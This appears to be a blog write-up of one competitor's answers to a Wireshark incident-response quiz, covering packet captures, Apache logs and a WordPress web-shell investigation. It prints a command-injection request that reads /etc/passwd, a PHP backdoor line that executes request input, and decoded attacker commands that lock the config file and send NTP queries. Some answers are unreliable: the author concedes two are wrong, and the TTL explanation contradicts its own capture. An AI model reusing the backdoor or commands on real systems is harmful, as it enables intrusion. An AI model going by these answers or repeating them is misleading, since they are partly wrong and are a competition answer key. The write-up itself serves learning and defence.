> For the complete documentation index, see [llms.txt](https://breakpoint-journal.gitbook.io/breakpoint/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://breakpoint-journal.gitbook.io/breakpoint/blue/wireshark-incident-response-ir/qualifying-for-the-spring-2025-cyberquest-challenge.md). # Qualifying for the Spring 2025 CyberQuest Challenge At the time of writing this, I am **11th in the US** for the Spring 2025 CyberQuest Challenge and well under the threshold to **qualify for their conference** - which is either impressive or embarrassing depending on how you feel about a guy who, at the start, knew exactly as much blue-teaming packet analysis as his grandma. She's cool, but not that cool.
## What is the CyberQuest Challenge? The CyberQuest challenge is an online series of information-security related challenges. This season happens to be focused on incident response using Wireshark: > In this Cyber Quest, participants will be challenged to identify indicators that show an incident has occurred, differentiating between those incidents that represent impotent attack vectors and those that need to be analyzed in-depth by incident responders. Participants will analyze packets, logs, and related scenarios to determine the nature of a variety of attacks, using skills associated with Security Monitoring and Event Analysts job requirements as set forth in the Mission Critical Role Project document developed by the Council on CyberSecurity. ## Partial Solution Guide Below I've included my answers for my final submission to the CyberQuest challenge. Note that I only scored a **28/30**, which, at the time of writing this, 3/19/25, there is **no one nationally or internationally that scored 30/30**. Regardless, take these solutions with a grain of salt. I'll try to update the answers accordingly once the results come out. For this challenge you must have Wireshark (1.4.6 or later) installed and then also require these [**files** ](https://uscc.cyberquests.org/assets/cyberquest_spring2025.zip)for analysis \[[files](https://uscc.cyberquests.org/assets/cyberquest_spring2025.zip)]. {% hint style="info" %} If you haven't taken a look yet, all of my preparation and notes are included in [Wireshark Incident Response (IR)](/breakpoint/blue/wireshark-incident-response-ir.md). {% endhint %} ## Part I 1. Why is NTP an ideal protocol to use in a traffic amplification attack? 1. NTP operates over TCP, resulting in more packets being sent 2. NTP is not ideal to be used for traffic amplification attacks 3. A small, spoofed query packet can result in a much larger response packet being sent to the victim 4. The attacker can spoof the current time and confuse the victim
Answer (c) A small, spoofed query packet can result in a much larger response packet being sent to the victim. See [here](/breakpoint/blue/wireshark-incident-response-ir/network-attacks-pokedex.md#ntp-amplification-attack)
2. What type of information is not (normally) included in Apache’s standard access log? 1. Response size 2. Post data 3. First line of the request 4. Source IP address
Answer (b) POST data; generally, the response size, the source IP address, and the first line of the request are included. See [here](https://stackoverflow.com/questions/9234699/understanding-apaches-access-log). Below is an example: ```http 127.0.0.1 - - [05/Feb/2012:17:11:55 +0000] "GET / HTTP/1.1" 200 140 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.19 (KHTML, like Gecko) Chrome/18.0.1025.5 Safari/535.19" ```
3. In the following packet capture, what kind of web application attack has been attempted against target 10.10.10.50? 1. Cross-Site Scripting 2. XML Path Injection 3. SQL Injection 4. Command Injection ```bash $ tcpdump -nnX tcpdump: verbose output suppressed, use -v or -vv for full protocol decode listening on eth0, link-type EN10MB (Ethernet), capture size 262144 bytes 21:47:25.771628 IP 10.10.10.12.51868 > 10.10.10.50.80: Flags [S], seq 3285268561, win 29200, options [mss 1460,sackOK,TS val 13312518 ecr 0,nop,wscale 6], length 0 0x0000: 4500 003c 1a57 4000 4006 f813 0a0a 0a0c E..<.W@.@....... 0x0010: 0a0a 0a32 ca9c 0050 c3d1 3851 0000 0000 ...2...P..8Q.... 0x0020: a002 7210 c3be 0000 0204 05b4 0402 080a ..r............. 0x0030: 00cb 2206 0000 0000 0103 0306 .."......... 21:47:25.774044 IP 10.10.10.50.80 > 10.10.10.12.51868: Flags [S.], seq 3084410540, ack 3285268562, win 5792, options [mss 1460,sackOK,TS val 3424498 ecr 13312518,nop,wscale 2], length 0 0x0000: 4500 003c 0000 4000 4006 126b 0a0a 0a32 E..<..@.@..k...2 0x0010: 0a0a 0a0c 0050 ca9c b7d8 5eac c3d1 3852 .....P....^...8R 0x0020: a012 16a0 c776 0000 0204 05b4 0402 080a .....v.......... 0x0030: 0034 40f2 00cb 2206 0103 0302 .4@..."..... 21:47:25.774073 IP 10.10.10.12.51868 > 10.10.10.50.80: Flags [.], ack 1, win 457, options [nop,nop,TS val 13312519 ecr 3424498], length 0 0x0000: 4500 0034 1a58 4000 4006 f81a 0a0a 0a0c E..4.X@.@....... 0x0010: 0a0a 0a32 ca9c 0050 c3d1 3852 b7d8 5ead ...2...P..8R..^. 0x0020: 8010 01c9 0b14 0000 0101 080a 00cb 2207 ..............". 0x0030: 0034 40f2 .4@. 21:47:25.774175 IP 10.10.10.12.51868 > 10.10.10.50.80: Flags [P.], seq 1:458, ack 1, win 457, options [nop,nop,TS val 13312519 ecr 3424498], length 457 0x0000: 4500 01fd 1a59 4000 4006 f650 0a0a 0a0c E....Y@.@..P.... 0x0010: 0a0a 0a32 ca9c 0050 c3d1 3852 b7d8 5ead ...2...P..8R..^. 0x0020: 8018 01c9 8afd 0000 0101 080a 00cb 2207 ..............". 0x0030: 0034 40f2 4745 5420 2f69 6e64 6578 2e70 .4@.GET./index.p 0x0040: 6870 3f6c 6f63 3d74 6573 7425 3342 2b63 hp?loc=test%3B+c 0x0050: 6174 2b25 3246 6574 6325 3246 7061 7373 at+%2Fetc%2Fpass 0x0060: 7764 2533 422b 6563 686f 2b68 656c 6c6f wd%3B+echo+hello 0x0070: 2048 5454 502f 312e 310d 0a48 6f73 743a .HTTP/1.1..Host: 0x0080: 2031 302e 3130 2e31 302e 3530 0d0a 5573 .10.10.10.50..Us 0x0090: 6572 2d41 6765 6e74 3a20 4d6f 7a69 6c6c er-Agent:.Mozill 0x00a0: 612f 352e 3020 2858 3131 3b20 4c69 6e75 a/5.0.(X11;.Linu 0x00b0: 7820 6936 3836 3b20 7276 3a33 312e 3029 x.i686;.rv:31.0) 0x00c0: 2047 6563 6b6f 2f32 3031 3030 3130 3120 .Gecko/20100101. 0x00d0: 4669 7265 666f 782f 3331 2e30 2049 6365 Firefox/31.0.Ice 0x00e0: 7765 6173 656c 2f33 312e 382e 300d 0a41 weasel/31.8.0..A 0x00f0: 6363 6570 743a 2074 6578 742f 6874 6d6c ccept:.text/html 0x0100: 2c61 7070 6c69 6361 7469 6f6e 2f78 6874 ,application/xht 0x0110: 6d6c 2b78 6d6c 2c61 7070 6c69 6361 7469 ml+xml,applicati 0x0120: 6f6e 2f78 6d6c 3b71 3d30 2e39 2c2a 2f2a on/xml;q=0.9,*/* 0x0130: 3b71 3d30 2e38 0d0a 4163 6365 7074 2d4c ;q=0.8..Accept-L 0x0140: 616e 6775 6167 653a 2065 6e2d 6762 2c65 anguage:.en-gb,e 0x0150: 6e3b 713d 302e 350d 0a41 6363 6570 742d n;q=0.5..Accept- 0x0160: 456e 636f 6469 6e67 3a20 677a 6970 2c20 Encoding:.gzip,. 0x0170: 6465 666c 6174 650d 0a52 6566 6572 6572 deflate..Referer 0x0180: 3a20 6874 7470 3a2f 2f31 302e 3130 2e31 :.http://10.10.1 0x0190: 302e 3530 2f69 6e64 6578 2e70 6870 3f6c 0.50/index.php?l 0x01a0: 6f63 3d74 6573 7425 3342 2b63 6174 2b25 oc=test%3B+cat+% 0x01b0: 3246 6574 6325 3246 7061 7373 7764 2533 2Fetc%2Fpasswd%3 0x01c0: 422b 6563 686f 2b68 656c 6c6f 0d0a 436f B+echo+hello..Co 0x01d0: 6f6b 6965 3a20 7573 6572 3d37 3136 3631 okie:.user=71661 0x01e0: 360d 0a43 6f6e 6e65 6374 696f 6e3a 206b 6..Connection:.k 0x01f0: 6565 702d 616c 6976 650d 0a0d 0a eep-alive.... ```
Answer (d) Command Injection as shown by the bottom packet with the HTTP parameter including bash commands
4. According to the following tcpdump output, which TCP ports definitively have listening services? 1. 80, 443, 631 2. 22, 80, 443, 631, 3389 3. 22, 443, 631 4. 80, 631, 3389 5. 80, 3389 ```bash tcpdump: verbose output suppressed, use -v or -vv for full protocol decode listening on lo, link-type EN10MB (Ethernet), capture size 65535 bytes 16:37:01.918080 IP 127.0.0.1.51623 > 127.0.0.1.3389: Flags [S], seq 1492420100, win 43690, options [mss 65495,sackOK,TS val 4771112 ecr 0,nop,wscale 7], length 0 16:37:01.918094 IP 127.0.0.1.33880 > 127.0.0.1.80: Flags [S], seq 2001449531, win 43690, options [mss 65495,sackOK,TS val 4771112 ecr 0,nop,wscale 7], length 0 16:37:01.918104 IP 127.0.0.1.80 > 127.0.0.1.33880: Flags [R.], seq 0, ack 2001449532, win 0, length 0 16:37:01.918116 IP 127.0.0.1.33048 > 127.0.0.1.443: Flags [S], seq 1763153122, win 43690, options [mss 65495,sackOK,TS val 4771112 ecr 0,nop,wscale 7], length 0 16:37:01.918123 IP 127.0.0.1.443 > 127.0.0.1.33048: Flags [S.], seq 556964669, ack 1763153123, win 43690, options [mss 65495,sackOK,TS val 4771112 ecr 4771112,nop,wscale 7], length 0 16:37:01.918130 IP 127.0.0.1.33048 > 127.0.0.1.443: Flags [.], ack 1, win 342, options [nop,nop,TS val 4771112 ecr 4771112], length 0 16:37:01.918146 IP 127.0.0.1.60337 > 127.0.0.1.22: Flags [S], seq 4168740549, win 43690, options [mss 65495,sackOK,TS val 4771112 ecr 0,nop,wscale 7], length 0 16:37:01.918150 IP 127.0.0.1.22 > 127.0.0.1.60337: Flags [S.], seq 1345716000, ack 4168740550, win 43690, options [mss 65495,sackOK,TS val 4771112 ecr 4771112,nop,wscale 7], length 0 16:37:01.918153 IP 127.0.0.1.60337 > 127.0.0.1.22: Flags [.], ack 1, win 342, options [nop,nop,TS val 4771112 ecr 4771112], length 0 16:37:01.918176 IP 127.0.0.1.34036 > 127.0.0.1.631: Flags [S], seq 1504976804, win 43690, options [mss 65495,sackOK,TS val 4771112 ecr 0,nop,wscale 7], length 0 16:37:01.918180 IP 127.0.0.1.631 > 127.0.0.1.34036: Flags [S.], seq 3522829531, ack 1504976805, win 43690, options [mss 65495,sackOK,TS val 4771112 ecr 4771112,nop,wscale 7], length 0 16:37:01.918183 IP 127.0.0.1.34036 > 127.0.0.1.631: Flags [.], ack 1, win 342, options [nop,nop,TS val 4771112 ecr 4771112], length 0 16:37:01.918201 IP 127.0.0.1.34036 > 127.0.0.1.631: Flags [R.], seq 1, ack 1, win 342, options [nop,nop,TS val 0 ecr 4771112], length 0 16:37:01.918210 IP 127.0.0.1.60337 > 127.0.0.1.22: Flags [R.], seq 1, ack 1, win 342, options [nop,nop,TS val 0 ecr 4771112], length 0 16:37:01.918218 IP 127.0.0.1.33048 > 127.0.0.1.443: Flags [R.], seq 1, ack 1, win 342, options [nop,nop,TS val 0 ecr 4771112], length 0 ```
Answer (c) 22, 443, 631 because they're the only ports that responded with SYNACKs. Note the output of tcpdump indicates the srcIP, srcPort, dstIP, dstPort, TCP Flags, as well as other fields like the sequence number, ack number, window size, etc... Consider the line below: ``` 16:37:01.918123 IP 127.0.0.1.443 > 127.0.0.1.33048: Flags [S.], seq 556964669, ack 1763153123, win 43690, options [mss 65495,sackOK,TS val 4771112 ecr 4771112,nop,wscale 7], length 0 ``` * `[S]` = SYN, used to initiate a TCP handshake * `[.]` = ACK, used to acknowledge and finish the TCP handshake * `[S.]` = SYN+ACK, used to acknowledge an initial \[S] SYN packet * `[R]` = reset, used to terminate a connection * `[P]` = PSH, push, requests immediate data transmission without buffering * `[F]` = FIN, finish, gracefully closes the connection If we grep for `[S.]` then we see only ports 22, 443, and 631 respond with SYNACKs.
5. What is the Apache directive most commonly used to enable and configure Apache’s access log? 1. ErrorLog 2. EventLog 3. CustomLog 4. AccessLog
Answer (c) CustomLog; The CustomLog directive associates a log file with a particular format defined by the LogFormat directive \[[link](https://www.bing.com/ck/a?!&\&p=29f9d75efce2ef62ff2e0069d42b9dd94180b92dfc755fdea5cc4fcd3d2fcc21JmltdHM9MTc0MTk5NjgwMA\&ptn=3\&ver=2\&hsh=4\&fclid=03e91e11-41ce-615a-19f3-0c77403360ca\&u=a1aHR0cHM6Ly93d3cuc2xpbmdhY2FkZW15LmNvbS9hcnRpY2xlL21hbmFnaW5nLWxvZy1maWxlcy1pbi1hcGFjaGUv\&ntb=1)] Curious about how to enable and configure Apache access logs, see this blog [here](https://awjunaid.com/apache/how-to-configure-apache-access-logs/) or the [docs](https://httpd.apache.org/docs/2.4/logs.html). You can specify the log formats in an Apache config such as httpd.conf. Here we create a log format named common: ```bash LogFormat "%h %l %u %t \"%r\" %>s %b" common ``` Then we can use the `CustomLog` directive to designate where the log file is on the filesystem as well as what log format to use. Below we specify a log file at `/var/log/apache2/access.log` that uses the previously defined `common` format ```bash CustomLog /var/log/apache2/access.log common ```
6. Given the following packet capture, which type of attack seems to be taking place on the target network? File: network-capture.pcap 1. Link-Local Multicast Name Resolution spoofing 2. ARP Spoofing 3. Server Message Block scanning 4. UDP Port Scanning 5. DHCP IPv6 Route Prefix Spoofing
Answer (a) Link-Local Multicast Name Resolution (LLMNR) spoofing; I filtered Wireshark with `smb or llmnr` and immediately saw a series of SMB/LLMNR authentication requests as different users and then requesting SMB shares once authenticated. For more information see [Network Attacks Pokedex](/breakpoint/blue/wireshark-incident-response-ir/network-attacks-pokedex.md#llmnr-poisoning) or [here](https://www.hackthebox.com/blog/llmnr-poisoning-attack-detection).
7. A machine at IP address 10.100.8.11 is displaying the traffic shown below repeated approximately every second. What kind of activity does this represent? 1. Mail server reverse DNS lookup to prevent spam 2. DNS query for root name servers 3. DNS command and control channel beacon 4. DNS amplification attack 
$ tcpdump -nnX
22:38:26.542113 IP 10.100.8.11.38547 > 10.1.1.99.53: 21154+ MX? dnscat.501d01cba7dccedbaa. (43)
    0x0000:  4500 0047 3d8a 4000 4011 e654 0a01 0163  E..G=.@.@..T...c
    0x0010:  0a01 0163 9693 0035 0033 170c 52a2 0100  ...c...5.3..R...
    0x0020:  0001 0000 0000 0000 0664 6e73 6361 7412  .........dnscat.
    0x0030:  3530 3164 3031 6362 6137 6463 6365 6462  501d01cba7dccedb
    0x0040:  6161 0000 0f00 01                        aa.....
22:38:26.542671 IP 10.1.1.99.53 > 10.100.8.11.38547: 21154*- 1/0/0 MX dnscat.db3901cba7dbaadcce. 30 (84)
    0x0000:  4500 0070 3d8b 4000 4011 e62a 0a01 0163  E..p=.@.@..*...c
    0x0010:  0a01 0163 0035 9693 005c 1735 52a2 8500  ...c.5...\.5R...
    0x0020:  0001 0001 0000 0000 0664 6e73 6361 7412  .........dnscat.
    0x0030:  3530 3164 3031 6362 6137 6463 6365 6462  501d01cba7dccedb
    0x0040:  6161 0000 0f00 01c0 0c00 0f00 0100 0151  aa.............Q
    0x0050:  8000 1d00 1e06 646e 7363 6174 1264 6233  ......dnscat.db3
    0x0060:  3930 3163 6261 3764 6261 6164 6363 6500  901cba7dbaadcce.
22:38:27.502490 IP 10.100.8.11.38547 > 10.1.1.99.53: 64323+ CNAME? dnscat.272a0169b063f5a0b2. (43)
    0x0000:  4500 0047 3dbf 4000 4011 e61f 0a01 0163  E..G=.@.@......c
    0x0010:  0a01 0163 9693 0035 0033 170c fb43 0100  ...c...5.3...C..
    0x0020:  0001 0000 0000 0000 0664 6e73 6361 7412  .........dnscat.
    0x0030:  3237 3261 3031 3639 6230 3633 6635 6130  272a0169b063f5a0
    0x0040:  6232 0000 0500 01                        b2.....
22:38:27.503219 IP 10.1.1.99.53 > 10.100.8.11.38547: 64323*- 1/0/0 CNAME dnscat.87760169b0a0b263f5. (82)
    0x0000:  4500 006e 3dc0 4000 4011 e5f7 0a01 0163  E..n=.@.@......c
    0x0010:  0a01 0163 0035 9693 005a 1733 fb43 8500  ...c.5...Z.3.C..
    0x0020:  0001 0001 0000 0000 0664 6e73 6361 7412  .........dnscat.
    0x0030:  3237 3261 3031 3639 6230 3633 6635 6130  272a0169b063f5a0
    0x0040:  6232 0000 0500 01c0 0c00 0500 0100 0151  b2.............Q
    0x0050:  8000 1b06 646e 7363 6174 1238 3737 3630  ....dnscat.87760
    0x0060:  3136 3962 3061 3062 3236 3366 3500       169b0a0b263f5.
Answer (c) DNS command and control channel beacon;
8. Given the log entry below and the attached Apache configuration file, what is the full filesystem path (include filename) of the file being accessed? File: httpd.conf: ```bash 10.2.2.2 - - [14/Oct/2015:11:19:26 -0400] "POST /wp-content/uploads/iti_feu_uploads_535683c275ccd/.config.php HTTP/1.1" 200 692 10.2.2.2 - - [14/Oct/2015:11:19:27 -0400] "POST /wp-content/uploads/iti_feu_uploads_535683c275ccd/.config.php HTTP/1.1" 200 692 ```
Answer **/var/www/html/iti\_feu\_uploads\_535683c275ccd/.config.php**
9. Based on the following packet capture, how would you best characterize the traffic inside? File: **capture.pcap** 1. Sysinternal’s PsExec.exe utility in use 2. SMB scanning by Nessus 3. Metasploit’s psexec module in use 4. Normal SMB authentication and browsing 5. A Kerberos login
Answer (c) Metasploit's psexec or Systinternal's PsExec.exe? My guess is this is suspicious AF with a 4444 port so I'm going to go with Metasploit's. For more information see [here](https://bczyz1.github.io/2021/01/30/psexec.html).
10. In a traffic amplification Distributed Denial of Service attack using NTP, what role do the misconfigured NTP servers usually play? 1. Misconfigured NTP servers are never used in traffic amplification attacks 2. They are usually administered by the attacker 3. They enable the traffic amplification, usually unknowingly 4. They are usually administered by the victim
Answer (c) They enable the traffic amplification, usually unknowingly
11. Based on the following packet capture, which of the following options best characterizes the traffic inside? File: **HTTP.pcap** 1. Command injection attempts 2. Normal web browsing traffic 3. Invalid HTTP server responses 4. Malware beaconing 5. Man-in-the-Middle attack through ARP spoofing
Answer (d) Malware beaconing; there are many responses back from the server, each with "no command" listed indicating the server is waiting for commands to be sent.
12. In the sensitive HTTPS request below, what is both unusual and insecure? 1. Sensitive information in URL query string 2. Invalid User Agent 3. "Accept: " contains "application/xml", which allows XML fork bombs 4. Insufficient entropy in CSRF token "security\_token" 5. "Connection: keep-alive" allows FREAK attack against SSL 
GET /user/signin?username=myusername&password=my31337passwordhere&submit=Log+In&security_token=b2975de24e04800779ef1807cfbd72711f1dec73 HTTP/1.1
Host: www.counterhackchallenges.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101 Firefox/38.0 Iceweasel/38.2.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://www.counterhackchallenges.com/
Cookie: chcportal_session=1ldoafdtq7bqgs3krb6s2b1vcsh8qmgt
Connection: keep-alive
Answer (a) Sensitive information in URL query string
13. What is unusual about this TCP SYN Packet? 1. Its TTL is 64 instead of the expected value of 255 2. It has no TCP flags set 3. Its payload length is 5 bytes instead of the more typical 0 bytes for a SYN packet 4. The source IP address has zeros in the second and third octet, which is not supported by IPv4 ```bash $ tcpdump -nv tcp tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 262144 bytes 14:17:38.906182 IP (tos 0x0, ttl 64, id 1, offset 0, flags [none], proto TCP (6), length 45) 10.0.0.1.20 > 10.7.2.1.80: Flags [S], cksum 0x4da5 (correct), seq 0:5, win 8192, length 5 ```
Answer (c) Its payload length is 5 bytes instead of the more typical 0 bytes for a SYN packet Note the TOS (Type of Service) is 0 is possible according to [here](https://linuxreviews.org/Type_of_Service_\(ToS\)_and_DSCP_Values), there is the TCP flag SYN set, and it's totally okay for an IPv4 address to contain 0s in the 2nd and 3rd octet.
14. The data below is encoded using what encoding method? (Choose best answer/closest match.) `%48%65%6c%6c%6f%20%54%68%69%73%20%69%73%20%61%20%54%65%73%74` 1. URL 2. ASCII 3. Base64 4. Unicode
Answer (a) URL
15. Given the following headers and HTML from a phishing email, which of the below options is the strongest indicator that the email is not legitimately from LinkedIn? File: **linkedin\_phishing.html** 1. Typos in email source 2. Incorrect address for LinkedIn 3. Incorrect source email address for a real LinkedIn email 4. LinkedIn does not use this appearance for real emails 5. Embedded links use username:password syntax to hide real destination ``` from: Collette Bicorne to: Student Email date: Mon, Oct 12, 2015 at 6:10 PM subject: Student, please add me to your LinkedIn network ```
Answer (e) Embedded links use username:password syntax to hide real destination
## Part II This section pertains to the webattack.pcap. Here are the questions and I'll list my steps towards solving it below\... 16. In the packet capture "webattack.pcap", what is the full file system path of the file the attacker is manipulating via some kind of web shell?
Answer /var/www/html/wp-config.php
17. The file in question 16 has been included in the ZIP file as file.php. What is the line number of the poisoned code that the attacker is using for these attacks?
Answer 81
18. What is the file attribute (not permission) being applied to the file in question 16? 1. immutable 2. secure deletion 3. append only 4. undeletable 5. synchronous updates
Answer (a) immutable; note this applies to the `chattr +i file.php` command because the question asks about **file attributes**.
19. What file permissions (in octal format) are being applied to the file mentioned in question 16?
Answer 444
20. What is the decoded command (as the operating system would see it) that the attacker is running to generate traffic to 10.24.31.10?
Answer `for i in {1..10}; do ntpdate -q 10.24.31.10;`
### Steps 1. File > Export Objects > HTTP 2. ```
``` 3. Noticed there were URL encoded POST requests with data including what seemed to be bash commands. I exported the files and examined with **vim**. ```bash WP_DEBUG=system&ABSPATH=(sleep 0.2; echo password) | python -c "import pty; pty.spawn(['su','-c','chmod%20444%20/var/www/html/wp-config.php']);" WP_DEBUG=system&ABSPATH=(sleep 0.2; echo password) | python -c "import pty; pty.spawn(['su','-c','chattr%20%2Bi%20/var/www/html/wp-config.php']) WP_DEBUG=system&ABSPATH=for%20i%20in%20%7B1..10%7D%3B%20do%20ntpdate%20-q%2010.24.31.10%3B%20done ``` 3. The commands mention this `WP_DEBUG` variable? Odd, investigating file.php, I begin to see why. `WP_DEBUG` doesn't sanitize the `$_REQUEST['WP_DEBUG']` input and allows command execution ```php isset($_REQUEST['WP_DEBUG']) && isset($_REQUEST['ABSPATH']) && ($_REQUEST['WP_DEBUG'](stripslashes_deep($_REQUEST['ABSPATH']))); ``` 4. Part of the data in the commands were URL encoded, so I uploaded to a URL decoder and discovered a web shell being initiated that `WP_DEBUG` variable on line 81 of **file.php**. ```bash WP_DEBUG=system&ABSPATH=(sleep 0.2; echo password) | python -c "import pty; pty.spawn(['su','-c','chmod 444 /var/www/html/wp-config.php']);" WP_DEBUG=system&ABSPATH=(sleep 0.2; echo password) | python -c "import pty; pty.spawn(['su','-c','chattr +i /var/www/html/wp-config.php']) WP_DEBUG=system&ABSPATH=for i in {1..10}; do ntpdate -q 10.24.31.10; done ``` `chmod 444 ` causes the file to <**r**wx|**r**wx|**r**wx> to be read-only for owner, group, and others `chattr` command with the `+i` flag makes the file immutable, meaning no deletion, no rename or otherwise. 
i              A file with the 'i' attribute cannot be modified: it cannot
              be deleted or renamed, no link can be created to this file,
              most of the file's metadata can not be modified, and the
              file can not be opened in write mode.  Only the superuser
              or a process possessing the CAP_LINUX_IMMUTABLE capability
              can set or clear this attribute.
## Part III 21. How many router hops away is the transmitting device characterized in the following packet capture? Choose the answer that most likely characterizes how many router hops are between the transmitting and the receiving device. Some of the packet capture details have been omitted for space. 1. 64 2. 0 3. 13 4. 128 ```bash $ tshark -r event.pcap -nV Frame 1: 70 bytes on wire (560 bits), 70 bytes captured (560 bits) Ethernet II, Src: 00:1a:70:fc:c0:6d (00:1a:70:fc:c0:6d), Dst: 00:1c:b3:b8:76:6c (00:1c:b3:b8:76:6c) Internet Protocol Version 4, Src: 199.47.218.149 (199.47.218.149), Dst: 10.10.10.159 (10.10.10.159) 0100 .... = Version: 4 .... 0101 = Header Length: 20 bytes Differentiated Services Field: 0x00 (DSCP 0x00: Default; ECN: 0x00: Not-ECT (Not ECN-Capable Transport)) 0000 00.. = Differentiated Services Codepoint: Default (0x00) .... ..00 = Explicit Congestion Notification: Not-ECT (Not ECN-Capable Transport) (0x00) Total Length: 52 Identification: 0x880b (34827) Flags: 0x02 (Don't Fragment) 0... .... = Reserved bit: Not set .1.. .... = Don't fragment: Set ..0. .... = More fragments: Not set Fragment offset: 0 Time to live: 51 Protocol: TCP (6) Header checksum: 0x094b [validation disabled] Source: 199.47.218.149 (199.47.218.149) Destination: 10.10.10.159 (10.10.10.159) ```
Answer (c) 13; the TTL is 54 meaning a router more than 54 hops away will never receive the packet. Additionally, the source and destination IPs are different meaning there must be at least 1 hop for the packet to be delivered.
22. Identify the anomaly that best characterizes the following packet capture data: 1. The destination MAC address is multicast, which is not supported by TCP 2. The length of the packet exceeds the Maximum Transmission Unit (MTU) size of the network 3. The source MAC address is not allocated as a valid Organizationally Unique Identifier (OUI) 4. The IPv4 ethertype does not match that of a valid Ethernet network ```bash $ tcpdump -er event.pcap -n reading from file event.pcap, link-type EN10MB (Ethernet) 16:09:44.973489 f0:de:f1:5f:01:f2 > ff:0c:29:28:aa:ba, ethertype IPv4 (0x0800), length 466: 10.10.10.115.48852 > 10.10.10.21.80: Flags [P.], seq 104887791:104888203, ack 1434995303, win 16354, length 412: HTTP: GET /inventory.gm HTTP/1.1 ```
Answer (a) The **destination MAC address** is `ff:0c:29:28:aa:ba`. Note that the first byte of the MAC address designates the OUI, where the least significant bit indicates whether traffic is unicast (0), or multicast (1). In this case, the f indicates **multicast traffic**. However, this is an HTTP GET request and therefore the connection should be unicast. See [here](https://www.youtube.com/watch?v=q2U7Rg9KNG8\&t=58s)
23. An attacker is attempting to evade detection. Characterize the evasion technique used in the following packet capture details. 1. Predictable IP identifier session hijacking 2. Unsupported TCP flag combinations to evade session reassembly 3. Fragmented IP packet evasion 4. Unsupported TCP v6 scans for IDS evasion ```bash # tshark -r event.pcap -n 1 0.000000 172.16.0.117 -> 172.16.0.103 IPv4 42 Fragmented IP protocol (proto=TCP 6, off=0, ID=74b2) 2 0.000027 172.16.0.117 -> 172.16.0.103 IPv4 42 Fragmented IP protocol (proto=TCP 6, off=8, ID=74b2) 3 0.000053 172.16.0.117 -> 172.16.0.103 TCP 42 44289→8080 [SYN] Seq=0 Win=1024 Len=0 MSS=1460 4 0.000091 172.16.0.117 -> 172.16.0.103 IPv4 42 Fragmented IP protocol (proto=TCP 6, off=0, ID=6eb1) 5 0.000116 172.16.0.117 -> 172.16.0.103 IPv4 42 Fragmented IP protocol (proto=TCP 6, off=8, ID=6eb1) 6 0.000140 172.16.0.117 -> 172.16.0.103 TCP 42 44289→135 [SYN] Seq=0 Win=1024 Len=0 MSS=1460 7 0.000188 172.16.0.103 -> 172.16.0.117 TCP 60 8080→44289 [SYN, ACK] Seq=0 Ack=1 Win=65535 Len=0 MSS=1460 8 0.000196 172.16.0.117 -> 172.16.0.103 TCP 54 44289→8080 [RST] Seq=1 Win=0 Len=0 9 0.000214 172.16.0.103 -> 172.16.0.117 TCP 60 135→44289 [RST, ACK] Seq=1 Ack=1 Win=0 Len=0 ```
Answer (c) Fragmented IP packet evasion;
24. Choose the option that best characterizes the attack activity observed in the following packet capture data: 1. An IPv6 Router Advertisement (RA) Man in the Middle (MitM) attack 2. An IPv6 malformed packet Denial of Service (DoS) attack 3. An IPv6 data exfiltration over ICMP attack 4. A too-short IPv6 packet flood ```bash $ tcpdump -enr event.pcap reading from file event.pcap, link-type EN10MB (Ethernet) 07:13:51.598507 80:e6:50:1b:95:b0 > 00:0c:29:47:fe:5f, ethertype IPv6 (0x86dd), length 78: fe80::82e6:50ff:fe1b:95b0 > fe80::20c:29ff:fe47:fe5f: ICMP6, neighbor advertisement, tgt is fe80::82e6:50ff:fe1b:95b0, length 24 07:13:51.598735 00:0c:29:47:fe:5f > 00:0c:29:47:fe:5f, ethertype IPv6 (0x86dd), length 86: fe80::82e6:50ff:fe1b:95b0 > fe80::20c:29ff:fe47:fe5f: ICMP6, neighbor advertisement, tgt is fe80::82e6:50ff:fe1b:95b0, length 32 07:13:51.598810 00:0c:29:47:fe:5f > fe:1b:95:b0:58:58, ethertype IPv6 (0x86dd), length 86: fe80::20c:29ff:fe47:fe5f > fe80::82e6:50ff:fe1b:95b0: ICMP6, neighbor advertisement, tgt is fe80::20c:29ff:fe47:fe5f, length 32 07:13:51.742638 00:0c:29:47:fe:5f > fe:47:fe:5f:58:58, ethertype IPv6 (0x86dd), length 86: fe80::66eb:8cff:fe72:2557 > fe80::20c:29ff:fe47:fe5f: ICMP6, neighbor advertisement, tgt is fe80::66eb:8cff:fe72:2557, length 32 07:13:52.479471 00:0c:29:47:fe:5f > 80:e6:50:1b:95:b0, ethertype IPv6 (0x86dd), length 86: fe80::6e70:9fff:fed2:622b > fe80::82e6:50ff:fe1b:95b0: ICMP6, neighbor advertisement, tgt is fe80::6e70:9fff:fed2:622b, length 32 ```
Answer (a) An IPv6 Router Advertisement (RA) Man in the Middle (MitM) attack; normally IPv6 advertisements are in response to Neighbor Solicitations
25. A packet capture from a network Switch Port Analyzer (SPAN) port reveals hundreds of thousands of packets similar to the following example. Characterize the attack from the options below. 1. An attacker is attempting to exfiltrate data from an organization, embedding ASCII data in the MAC address fields of Ethernet packets 2. An attacker is attempting to overflow the switch Content Addressable Memory (CAM) table with randomly selected MAC addresses to create a shared network segment 3. An attacker is using the source IP address of 0.0.0.0 to exfiltrate data from the organization without source attribution 4. This is not an attack; the network activity is the result of spurious emissions from a faulty network card 5. An attacker is attempting to overflow the Virtual Orthogonal Lookup Table (VOLT) on the switch, producing a Denial of Service (DoS) condition 
7e:d5:2e:4c:c0:66 d2:f9:e8:77:c9:1c 0.0.0.0.44140 > 10.10.10.1.45090: S 91386974:91386974(0) win 512
1c:c6:e4:15:8:d1 55:41:52:2b:37:c4 0.0.0.0.40662 > 10.10.10.1.9078: S 1724666457:1724666457(0) win 512
66:a1:7e:6b:ef:ca d1:fe:b0:29:19:a8 0.0.0.0.14555 > 10.10.10.1.18543: S 629979972:629979972(0) win 512
6e:ee:4e:28:d3:5 55:f2:ef:3a:ca:2d 0.0.0.0.5125 > 10.10.10.1.8069: S 1159626538:1159626538(0) win 512
87:5c:6b:6f:6b:74 f0:e7:96:2b:d3:f 0.0.0.0.25744 > 10.10.10.1.64633: S 1741499607:1741499607(0) win 512
